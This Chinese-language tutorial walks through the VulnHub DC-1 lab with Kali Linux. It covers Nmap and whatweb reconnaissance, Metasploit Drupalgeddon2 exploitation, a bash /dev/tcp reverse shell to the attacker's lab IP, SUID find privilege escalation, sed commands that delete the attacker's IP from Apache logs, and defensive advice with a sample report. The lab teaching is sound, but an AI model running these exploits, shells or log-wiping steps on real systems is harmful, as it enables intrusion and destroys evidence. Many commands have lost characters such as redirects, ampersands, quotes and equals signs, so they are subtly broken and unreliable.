从零搭建渗透测试靶场：基于Kali Linux与DC-1的实战攻防演练

1. 项目概述从零构建一个实战化的渗透测试沙盒如果你对网络安全感兴趣或者正在学习渗透测试那么“靶场”这个词对你来说一定不陌生。它就像网络安全领域的“训练场”或“沙盒”让你可以在一个合法、安全的环境里模拟真实的攻击手法去“攻克”一个预设了漏洞的系统。今天要聊的就是如何亲手搭建并攻克一个经典的入门级靶场——DC-1。这个靶场源自VulnHub平台设计初衷就是让新手能够在一个可控的环境里完整地体验一次从信息收集到最终获取最高权限root的渗透测试流程。为什么选择DC-1因为它足够经典也足够友好。它模拟了一个运行着老旧内容管理系统Drupal的Linux服务器其中包含了多个需要串联利用的漏洞点。整个过程会用到Kali Linux这个渗透测试专用系统以及像Nmap、Metasploit、John the Ripper这样的核心工具。通过复现这个靶场你不仅能熟悉工具的基本操作更重要的是能建立起一个清晰的渗透测试思维框架先做什么后做什么遇到问题怎么想。这远比单纯背命令要有价值得多。无论你是刚入门的安全爱好者还是想巩固基础的从业者这个项目都是一个绝佳的起点。2. 环境准备与靶场部署2.1 核心工具选择为什么是Kali Linux在开始之前我们必须准备好攻击机。市面上渗透测试系统不少但Kali Linux无疑是那个“瑞士军刀”。它预装了数百种安全工具从信息收集、漏洞分析、Web应用攻击到密码破解、无线攻击几乎涵盖了渗透测试的各个阶段。对于DC-1这样的靶场练习Kali提供了开箱即用的完美环境你不需要再费心去一个个安装和配置工具。注意虽然Kali功能强大但请务必仅在你自己搭建的虚拟环境或获得明确授权的目标上使用。未经授权的测试是违法的。我个人的习惯是在虚拟机里运行Kali。推荐使用VMware Workstation Pro或VirtualBox。这样有几个好处一是可以随时创建快照如果操作失误导致系统崩溃可以瞬间回滚到干净状态二是能方便地配置虚拟网络让攻击机和靶机处于同一个网段便于测试。安装Kali的过程很简单从官网下载ISO镜像在虚拟机里新建一个系统分配至少2GB内存和20GB硬盘空间然后跟着图形化安装向导走就行。安装时建议选择“使用整个磁盘”并配置LVM这样以后扩展磁盘空间会方便很多。2.2 靶机获取与导入DC-1的“入住”手续靶场DC-1是一个虚拟机镜像文件格式通常是OVA或VMDK。我们需要从VulnHub官网找到并下载它。VulnHub是一个提供各种漏洞虚拟机供下载学习的知名网站资源非常丰富。下载完成后部署就非常简单了。以VMware为例你不需要像安装普通系统那样新建虚拟机而是直接选择“文件”-“打开”然后找到你下载的DC-1的OVA文件。VMware会自动读取这个文件里的配置创建一个新的虚拟机。导入过程中可能会提示你选择虚拟机的存储位置和网络适配器类型。这里有一个关键设置网络适配器。为了让Kali攻击机能和DC-1靶机通信它们必须在同一个网络中。最常用的方式是设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”。因为在这种模式下虚拟机会创建一个完全封闭的私有网络只有宿主机和这个网络里的虚拟机可以互相访问完全隔离了外网安全性最高也最符合本地靶场练习的场景。在VMware里你可以在虚拟机设置里将网络适配器改为“仅主机模式”。启动导入的DC-1虚拟机。通常这类靶场镜像启动后不会显示图形界面只是一个命令行登录提示。这很正常我们不需要登录进去只需要知道它已经成功运行了。它的IP地址是动态获取的我们需要在Kali里把它找出来。2.3 网络连通性确认找到你的“对手”现在启动你的Kali Linux虚拟机同样将其网络适配器设置为“仅主机模式”。这样Kali和DC-1就处于同一个虚拟网络下了。接下来我们需要找出DC-1的IP地址。在Kali的终端里我们先用ip a或ifconfig命令查看一下Kali自己在这个“仅主机网络”中获取到的IP地址和网段。假设Kali的IP是192.168.56.101那么DC-1很可能就在192.168.56.0/24这个网段内。最常用的扫描工具是Nmap。我们可以使用以下命令进行快速存活主机扫描sudo nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描主机发现不进行端口扫描。这条命令会列出该网段内所有在线的主机。在结果中除了你Kali自己的IP另一个IP很可能就是DC-1靶机。记下这个IP地址比如192.168.56.102。为了确认我们可以对这个IP做一个快速的端口扫描sudo nmap -sS 192.168.56.102-sS是TCP SYN扫描一种半开放扫描速度较快且相对隐蔽。扫描结果会显示目标开放了哪些端口。对于DC-1你应该能看到至少开放了80端口HTTP服务和22端口SSH服务。看到这些就证明网络连通性没问题靶机已经就位可以开始正式的“进攻”了。3. 信息收集与漏洞初探3.1 端口与服务深度扫描摸清目标家底找到目标IP后第一步不是急着上工具乱试而是进行细致的信息收集。这就像军事行动前的侦察了解得越详细后续的攻击就越有针对性。我们刚才的快速扫描只看到了开放的端口号现在需要进行一次全面的扫描。使用Nmap的-sV和-sC参数组合是标准做法sudo nmap -sS -sV -sC -O -p- 192.168.56.102我来解释一下这几个参数-sS: TCP SYN扫描。-sV: 版本探测。它会尝试连接开放的端口并分析响应信息判断运行的是什么服务及其具体版本号。这是至关重要的一步因为很多漏洞都针对特定版本的服务。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测比如检查是否存在某些已知漏洞、获取更详细的横幅信息等。-O: 尝试进行操作系统识别。-p-: 扫描所有65535个端口而不是默认的1000个常用端口。避免遗漏一些非常规服务。扫描完成后你会得到一份详细的报告。对于DC-1报告可能会显示端口 22/tcp: OpenSSH 服务。版本信息能告诉我们它是不是存在已知漏洞的旧版本。端口 80/tcp: Apache httpd 服务。最关键的是它很可能还会告诉我们网站使用的技术比如“Drupal 7”。这就是我们攻击的突破口。实操心得-p-全端口扫描非常耗时在真实内网环境中可能会触发警报。在靶场练习中可以放心使用但在授权测试中需要根据测试范围和时间安排有时只扫描常用端口或指定端口范围。3.2 Web应用指纹识别锁定DrupalNmap的版本扫描通常已经能给出Web框架的线索。为了进一步确认我们可以使用专门针对Web应用的扫描工具比如whatweb或nikto。whatweb http://192.168.56.102whatweb会快速识别网站使用的技术比如服务器类型、编程语言、框架、CMS、JavaScript库等。对于DC-1它会明确地告诉你这是“Drupal”。确认是Drupal后我们可以用nikto做一个初步的安全检查nikto -h http://192.168.56.102nikto会扫描Web服务器和应用程序的常见问题比如过时的软件、错误的配置、默认文件等。它的输出可能会提示存在robots.txt、CHANGELOG.txt等文件这些信息有时会泄露版本号或其他有用信息。3.3 漏洞搜索与利用规划现在我们知道目标是一个Drupal 7网站。下一步就是寻找Drupal 7的已知漏洞。这里有两个主要途径搜索引擎/漏洞库直接在Kali里打开浏览器搜索“Drupal 7 exploit”或“Drupal 7 vulnerability”。你会找到很多资源比如Exploit-DB、CVE详情页等。这是锻炼信息检索能力的好机会。Metasploit框架这是我们的主力武器。在终端输入msfconsole启动Metasploit。在msf的命令行下我们可以搜索Drupal相关的漏洞利用模块search drupalMetasploit会列出所有与Drupal相关的模块包括辅助扫描模块、漏洞利用模块和后渗透模块。我们需要从中找到一个适用于Drupal 7的、可靠的远程代码执行漏洞。一个非常著名的漏洞是DrupalgeddonCVE-2014-3704 Drupal 7.0~7.31但DC-1可能使用的是另一个同样经典的漏洞Drupal Drupalgeddon 2CVE-2018-7600。这个漏洞影响Drupal 6,7,8多个版本允许攻击者在未授权的情况下远程执行代码。通过信息收集我们初步判断目标存在可利用的Drupal RCE漏洞。接下来就是选择利用方式并发起攻击。4. 漏洞利用与初始立足点获取4.1 利用Metasploit进行自动化攻击Metasploit的强大之处在于它将漏洞利用过程模块化和自动化。我们以利用exploit/unix/webapp/drupal_drupalgeddon2模块为例演示如何获取第一个Shell。首先在msfconsole中加载该利用模块use exploit/unix/webapp/drupal_drupalgeddon2使用show options命令查看需要设置的参数show options关键的参数是RHOSTS目标IP和RPORT目标端口Web服务一般是80。我们将其设置好set RHOSTS 192.168.56.102 set RPORT 80再次检查选项确认无误后就可以执行攻击了。在Metasploit中运行漏洞利用模块的命令是exploit或run。exploit如果目标存在该漏洞且利用成功Metasploit会尝试建立一个反向Shell连接回我们的攻击机。你会看到命令行提示符从msf6变成了类似Shell的样式这意味着我们已经成功在目标服务器上执行了命令获得了初始的立足点。注意事项在实际授权测试中使用Metasploit这类自动化工具需要格外小心。它的流量特征明显很容易被防护设备发现。在靶场练习中我们可以放心使用以理解漏洞原理但在复杂环境中可能需要手动编写或修改利用代码以绕过检测。4.2 手动漏洞利用与理解虽然Metasploit很方便但理解漏洞的手动利用过程能让你学得更深。以Drupalgeddon 2 (CVE-2018-7600)为例它的本质是Drupal表单API在渲染时对用户输入处理不当导致可以注入恶意代码。网上可以找到该漏洞的Python利用脚本。手动利用的大致思路是构造一个特殊的HTTP POST请求请求路径通常是/user/register或/user/password等涉及表单处理的端点。在POST参数中嵌入要执行的系统命令例如id或whoami。脚本会解析响应提取命令执行的结果。手动执行成功后你同样会看到当前Web服务运行用户的身份通常是www-data。为了获得一个更稳定的Shell我们通常会在目标机器上生成一个反向连接。这需要先在Kali上使用Netcat监听一个端口nc -lvnp 4444然后在通过漏洞执行的命令中使用/bin/bash或php等语言向你的Kali IP和监听端口发起一个连接。例如在目标上执行bash -c bash -i /dev/tcp/192.168.56.101/4444 01如果成功你会在Netcat的监听窗口获得一个交互式的Bash Shell。无论是通过Metasploit还是手动方式至此我们已经成功突破了边界在目标Web服务器上以www-data用户的权限站住了脚。但这只是开始www-data权限很低我们需要向更高的权限——root迈进。5. 权限提升与内网横向移动5.1 立足点强化与信息收集拿到一个反向Shell后第一件事往往是将其“加固”成一个更稳定、功能更全的Shell。默认的Netcat或Metasploit的Shell可能是哑巴Shell没有交互式提示符或者按CtrlC会中断。我们可以使用Python来生成一个标准的TTY Shellpython -c import pty; pty.spawn(/bin/bash)或者python3 -c import pty; pty.spawn(/bin/bash)执行后Shell的体验会好很多支持命令历史、Tab补全等。接下来在目标机器内部进行深入的信息收集为提权做准备。我们需要了解系统信息uname -a内核版本cat /etc/issue或cat /etc/os-release发行版信息。用户与权限id当前用户权限sudo -l检查当前用户能以root身份无需密码运行哪些命令这是提权的黄金检查点cat /etc/passwd查看所有用户。进程与服务ps aux查看所有进程netstat -tulpn或ss -tulpn查看网络连接和监听端口。计划任务crontab -l查看当前用户的计划任务ls -la /etc/cron*查看系统计划任务目录。SUID/GUID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件这类文件运行时可能具有文件所有者的权限是常见的提权向量。5.2 利用SUID提权发现与利用find命令在DC-1靶场中一个经典的提权路径就是利用SUID文件。执行上面的find命令后你可能会在结果中发现一个不寻常的条目/usr/bin/find。find命令本身是一个系统管理工具通常不会设置SUID位。如果它被设置了SUID并且所有者为root那么当我们执行这个find命令时它就会以root权限运行。我们可以利用find命令的-exec参数来执行任意命令。验证find的SUID属性ls -la /usr/bin/find如果输出中包含-rwsr-xr-x其中的s就代表SUID位并且所有者是root。利用它提权到root非常简单/usr/bin/find . -exec /bin/bash -p \;或者/usr/bin/find / -name test -exec /bin/bash -p \;解释一下-exec参数会让find对找到的每个文件执行后面的命令。/bin/bash -p中的-p参数是告诉bash保留提升的权限。执行这条命令后你会直接获得一个root权限的bash shell。输入whoami或id确认现在你已经是root了。实操心得SUID提权是Linux系统里非常经典的一种方式。除了find常见的还有nmap旧版本、vim、bash某些版本等。在信息收集阶段一定要养成检查SUID文件的习惯。同时也要注意现代Linux系统对SUID的管理越来越严格很多命令的SUID位会被去掉但在一些老旧或配置不当的系统上这依然是有效的突破口。5.3 探索与获取最终Flag在渗透测试中获取root权限往往不是最终目的证明你完全控制了系统才是。在CTF夺旗赛和很多靶场包括DC-1中最终目标通常是找到隐藏的“flag”文件。成为root后你就可以畅行无阻地搜索整个系统了。DC-1的flag通常不止一个可能分布在不同的目录给不同权限的用户。常见的搜索命令find / -name *flag* 2/dev/null find / -name *.txt -o -name *.md 2/dev/null | xargs grep -l flag 2/dev/null或者直接去一些常见目录看看cat /root/flag.txt cat /home/flag4.txt你需要仔细阅读这些flag文件的内容它们有时会给出提示引导你去下一个位置。最终你可能会在/root目录下找到最终的flag比如thefinalflag.txt这标志着你对DC-1靶场的渗透已经彻底完成。6. 后渗透清理与痕迹分析6.1 渗透痕迹清理仅用于学习理解在真实的渗透测试授权测试中为了不影响目标系统正常业务测试结束后通常需要清理留下的痕迹这属于“后渗透”阶段的一部分。但在靶场练习中我们仅作为知识了解切勿在非授权环境中使用。主要清理方向包括Shell历史记录Bash会记录用户输入的命令存放在~/.bash_history文件中。作为root你需要清理自己和之前入侵用户如www-data的历史记录。# 清理当前用户的history history -c # 或者直接清空历史文件 echo ~/.bash_history # 清理其他用户的如果知道路径 echo /home/www-data/.bash_history日志文件系统日志记录了大量的活动信息。需要重点检查/var/log/目录下的文件如auth.log认证日志、syslog、apache2/access.log和error.logWeb日志等。清理日志是一项繁琐且需要谨慎的工作因为很多日志是实时写入的并且可能有日志审计服务。# 不推荐直接删除日志文件这本身就是一个可疑行为。更隐蔽的做法是只删除涉及自己IP或特定时间的行。 # 例如使用sed删除apache日志中特定IP的行假设你的攻击机IP是192.168.56.101 sed -i /192.168.56.101/d /var/log/apache2/access.log sed -i /192.168.56.101/d /var/log/apache2/error.log上传的工具或后门如果你上传了任何用于提权或维持访问的工具如LinEnum.sh、pspy需要将其删除。rm -f /tmp/linenum.sh rm -f /tmp/pspy64创建的用户或SSH密钥如果你添加了后门用户或SSH密钥也需要删除。重要提示在真实环境中清理痕迹的难度极高任何不彻底的清理都可能被高级的取证分析发现。因此在授权测试中应与客户明确测试范围和要求有时客户明确要求保留痕迹以供分析。靶场练习中我们通常不需要清理直接重置虚拟机即可。6.2 防御视角从攻击中学习防护作为渗透测试者我们的价值不仅在于找到漏洞更在于理解漏洞产生的原因并提出修复建议。通过DC-1的渗透过程我们可以从防御角度总结以下几点及时更新与补丁管理DC-1的核心漏洞源于未打补丁的Drupal CMS。任何公开的Web应用尤其是CMS、框架、插件必须建立严格的补丁更新流程及时修复已知的高危漏洞。最小权限原则Web服务如www-data用户不应拥有过高的系统权限。通过SUIDfind提权根本原因是find命令被赋予了不必要的SUID位。系统管理员应定期审计系统上的SUID/GUID文件移除非必要的特殊权限位。可以使用命令find / -perm /6000 -type f 2/dev/null定期检查。输入验证与过滤Drupalgeddon 2漏洞是典型的“注入”类漏洞源于对用户输入表单参数的信任。所有来自用户端的数据都必须视为不可信的需要进行严格的验证、过滤和转义。强化系统配置禁用不必要的服务如DC-1上可能用不到的旧版SSH服务特性。配置防火墙仅开放必要的端口。对Web目录设置严格的文件权限防止上传可执行文件。使用安全的密码策略并定期更换密码。日志与监控启用并集中管理系统日志、Web日志和数据库日志。通过日志分析工具或SIEM系统建立异常行为告警机制例如大量的404错误可能为目录扫描、对特定漏洞路径的访问如/user/password的异常POST请求、非授权时间段的登录尝试等。早发现早响应。定期安全评估对自身系统定期进行漏洞扫描和渗透测试白盒/黑盒主动发现潜在风险防患于未然。7. 工具链深度解析与备选方案7.1 核心工具Metasploit框架详解在整个渗透过程中MetasploitMSF扮演了核心角色。它不仅仅是一个漏洞利用工具更是一个完整的渗透测试平台。理解它的架构和工作流能极大提升效率。模块类型Exploit漏洞利用模块利用特定漏洞的代码如我们使用的drupal_drupalgeddon2。成功后会得到一个Session会话。Payload有效载荷模块在目标系统上运行的代码如反向Shellreverse_tcp、绑定Shellbind_tcp或Meterpreter。Meterpreter是MSF的高级Payload提供内存驻留、文件系统操作、键盘记录等强大功能。Auxiliary辅助模块用于信息收集、扫描、模糊测试等不直接建立会话如scanner/http/drupal_version可以用来扫描Drupal版本。Post后渗透模块在已建立的会话上运行用于权限提升、信息收集、横向移动等如post/linux/gather/enum_system。Encoder编码器模块对Payload进行编码以绕过简单的杀毒软件或IDS特征检测。NOP空指令模块在Exploit中生成空指令串用于提高 exploit 的稳定性。工作流程典型的MSF工作流是use exploit-set RHOSTS-set PAYLOAD-set LHOST/LPORT-exploit。我们之前使用了默认的Payload。你可以尝试使用Meterpreter Payload来获得更强大的功能use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.168.56.101 # 你的Kali IP set LPORT 4444 exploit成功后你会进入meterpreter 提示符。在这里你可以使用sysinfo、getuid、shell等命令。会话管理在MSF中可以使用sessions -l列出所有活动会话使用sessions -i id切换到指定会话。后台运行的会话可以使用background命令放回后台。7.2 信息收集与漏洞扫描的“第二梯队”除了Nmap、NiktoKali中还有其他强大的工具可以辅助信息收集Dirb / Gobuster / ffuf用于Web目录和文件爆破。尝试寻找后台登录页面、配置文件、备份文件等。gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txtWPScan / Droopescan针对特定CMS的扫描器。既然我们知道是Drupal可以使用Droopescan进行更深入的扫描。droopescan scan drupal -u http://192.168.56.102Searchsploit离线搜索Exploit-DB漏洞库的工具。在断网环境或需要快速查找时非常有用。searchsploit drupal 77.3 权限提升的多种途径与工具SUID提权只是其中一种方式。Linux提权手法繁多掌握多种思路很重要。内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。使用uname -a查看内核版本然后用searchsploit搜索对应版本的提权Exp。操作需极其谨慎可能造成系统崩溃。sudo权限滥用前面提到的sudo -l命令如果发现当前用户可以以root身份无需密码运行某些命令如vi,nano,awk,perl,python等就可以利用这些命令启动一个root shell。例如如果允许sudo vi可以在vi中执行:!bash来获得root shell。环境变量劫持如果SUID程序调用了另一个未使用绝对路径的命令我们可以通过修改PATH环境变量让它执行我们恶意的同名程序。计划任务Cron提权检查系统或用户级别的计划任务/etc/crontab,/var/spool/cron/如果某个任务以root权限运行并且其脚本或路径我们有权写入就可以通过修改它来提权。自动化提权脚本为了系统化地检查提权点可以使用一些优秀的脚本如LinEnum.sh、LinPEAS。将这些脚本上传到目标机器例如通过Python的HTTP服务器和wget然后执行它们会自动化检查并高亮显示可能的提权路径极大提高效率。8. 渗透测试思维与报告撰写入门8.1 构建渗透测试方法论完成DC-1的渗透不应只停留在命令的记忆上而应提炼出一套通用的思维方法。一个简化的渗透测试流程可以概括为以下几个阶段前期交互与情报收集明确测试范围、规则白盒/黑盒/灰盒。在靶场中这一步简化为“目标是一个IP”。外部侦察使用公开资源OSINT收集目标信息。靶场中此步跳过。威胁建模与漏洞分析识别目标资产如Web应用、SSH服务分析可能存在的攻击面如Drupal CMS、OpenSSH并搜索已知漏洞。我们通过Nmap扫描和Drupal识别完成了这一步。漏洞利用使用自动化工具Metasploit或手动方式验证并利用发现的漏洞获取初始访问权限。我们通过Drupalgeddon 2拿到了www-data的Shell。后渗透与权限提升在系统内部进行信息收集寻找提权路径扩大控制范围。我们通过SUID find提权到了root。横向移动在DC-1中不涉及如果是在内网环境中需要以当前机器为跳板探测和攻击网络中的其他主机。维持访问靶场中通常不做在目标系统上放置后门以便后续再次进入。报告与清理整理发现、利用过程、影响并给出修复建议。在授权测试中这是交付给客户的核心成果。8.2 渗透测试报告核心要素一份专业的渗透测试报告是测试价值的最终体现。即使练习DC-1也可以尝试写一份简单的报告来锻炼自己。报告应包含概述测试目标DC-1靶机、时间、方法黑盒。执行摘要用一两段话概括最重要的发现和风险等级如发现一个高危的Drupal RCE漏洞并成功提权至root系统完全沦陷。详细发现这是报告的主体。每个发现应遵循“漏洞描述 - 受影响资产 - 风险等级 - 复现步骤Proof of Concept - 修复建议”的结构。发现一Drupal Drupalgeddon 2 远程代码执行漏洞CVE-2018-7600描述Drupal核心在表单渲染API中存在漏洞允许远程攻击者在未授权的情况下执行任意代码。位置http://192.168.56.102风险等级高危复现步骤使用Metasploit模块exploit/unix/webapp/drupal_drupalgeddon2。设置RHOSTS 192.168.56.102。执行exploit成功获得www-data用户权限的Shell。修复建议立即将Drupal核心更新至最新安全版本。若无法立即更新应应用官方提供的安全补丁。发现二Find命令不当SUID设置导致本地权限提升描述系统/usr/bin/find命令被设置了SUID位且所有者为root允许低权限用户利用此特性提升至root权限。位置靶机文件系统。风险等级高危复现步骤在获得的www-dataShell中执行find / -perm -us -type f 2/dev/null发现/usr/bin/find。执行/usr/bin/find . -exec /bin/bash -p \;成功获得root权限Shell。修复建议移除/usr/bin/find命令不必要的SUID位。执行chmod u-s /usr/bin/find。并审计系统中其他非必要的SUID/GUID文件。附录可以包含一些扫描结果的截图、命令执行输出的截图等作为证据。通过这样的梳理你不仅完成了一次技术演练更完成了一次完整的安全评估思维训练。这才是靶场练习带给你的最大财富。